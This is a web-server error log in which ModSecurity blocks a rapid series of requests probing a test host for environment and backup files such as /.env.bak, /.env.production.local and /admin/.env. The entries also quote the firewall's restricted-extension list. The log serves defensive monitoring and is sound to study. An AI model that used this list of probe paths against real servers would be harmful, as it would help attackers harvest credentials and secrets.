[Fri Mar 20 16:14:03.180137 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kO5JiwBXnNifSr5vetwAAAAQ"]
[Fri Mar 20 16:14:03.180253 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "ab1kO5JiwBXnNifSr5vetwAAAAQ"]
[Fri Mar 20 16:14:03.194007 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kO28zubx8zfwe9oW5RQAAAAU"]
[Fri Mar 20 16:14:03.194117 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kO28zubx8zfwe9oW5RQAAAAU"]
[Fri Mar 20 16:14:03.194238 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "ab1kO28zubx8zfwe9oW5RQAAAAU"]
[Fri Mar 20 16:14:03.200241 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kO2808gcmd_Zzq_-pBAAAABI"]
[Fri Mar 20 16:14:03.200393 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kO2808gcmd_Zzq_-pBAAAABI"]
[Fri Mar 20 16:14:03.200499 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kO2808gcmd_Zzq_-pBAAAABI"]
[Fri Mar 20 16:14:03.200618 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "ab1kO2808gcmd_Zzq_-pBAAAABI"]
[Fri Mar 20 16:14:03.203112 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xQAAAAE"]
[Fri Mar 20 16:14:03.203219 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xQAAAAE"]
[Fri Mar 20 16:14:03.203334 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xQAAAAE"]
[Fri Mar 20 16:14:03.203865 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kO_9i5ZHhQgdGB68gLAAAAAg"]
[Fri Mar 20 16:14:03.203974 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kO_9i5ZHhQgdGB68gLAAAAAg"]
[Fri Mar 20 16:14:03.204163 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "ab1kO_9i5ZHhQgdGB68gLAAAAAg"]
[Fri Mar 20 16:14:03.204652 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kO0Gu3yPOFBRkxZtwzwAAAAA"]
[Fri Mar 20 16:14:03.204800 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kO0Gu3yPOFBRkxZtwzwAAAAA"]
[Fri Mar 20 16:14:03.204890 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kO0Gu3yPOFBRkxZtwzwAAAAA"]
[Fri Mar 20 16:14:03.204995 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ab1kO0Gu3yPOFBRkxZtwzwAAAAA"]
[Fri Mar 20 16:14:03.218101 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kO28zubx8zfwe9oW5RgAAAAU"]
[Fri Mar 20 16:14:03.218222 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kO28zubx8zfwe9oW5RgAAAAU"]
[Fri Mar 20 16:14:03.218385 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "ab1kO28zubx8zfwe9oW5RgAAAAU"]
[Fri Mar 20 16:14:03.220225 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kO2LvrbuE12wYiLe4PgAAABA"]
[Fri Mar 20 16:14:03.220360 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kO2LvrbuE12wYiLe4PgAAABA"]
[Fri Mar 20 16:14:03.220494 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development.local"] [unique_id "ab1kO2LvrbuE12wYiLe4PgAAABA"]
[Fri Mar 20 16:14:03.224721 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kO2808gcmd_Zzq_-pBQAAABI"]
[Fri Mar 20 16:14:03.224833 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kO2808gcmd_Zzq_-pBQAAABI"]
[Fri Mar 20 16:14:03.224973 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "ab1kO2808gcmd_Zzq_-pBQAAABI"]
[Fri Mar 20 16:14:03.225539 2026] [authz_core:error] [pid 2816018] [client 172.70.251.169:12129] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Fri Mar 20 16:14:03.227413 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kO5JiwBXnNifSr5veuAAAAAQ"]
[Fri Mar 20 16:14:03.227517 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kO5JiwBXnNifSr5veuAAAAAQ"]
[Fri Mar 20 16:14:03.227640 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kO5JiwBXnNifSr5veuAAAAAQ"]
[Fri Mar 20 16:14:03.240924 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kO_y1_WiwY9KfWu_4zQAAAAI"]
[Fri Mar 20 16:14:03.241055 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kO_y1_WiwY9KfWu_4zQAAAAI"]
[Fri Mar 20 16:14:03.241178 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.tmp"] [unique_id "ab1kO_y1_WiwY9KfWu_4zQAAAAI"]
[Fri Mar 20 16:14:03.242159 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLQAAAAg"]
[Fri Mar 20 16:14:03.242251 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLQAAAAg"]
[Fri Mar 20 16:14:03.242389 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kO_9i5ZHhQgdGB68gLQAAAAg"]
[Fri Mar 20 16:14:03.244040 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kO2LvrbuE12wYiLe4PwAAABA"]
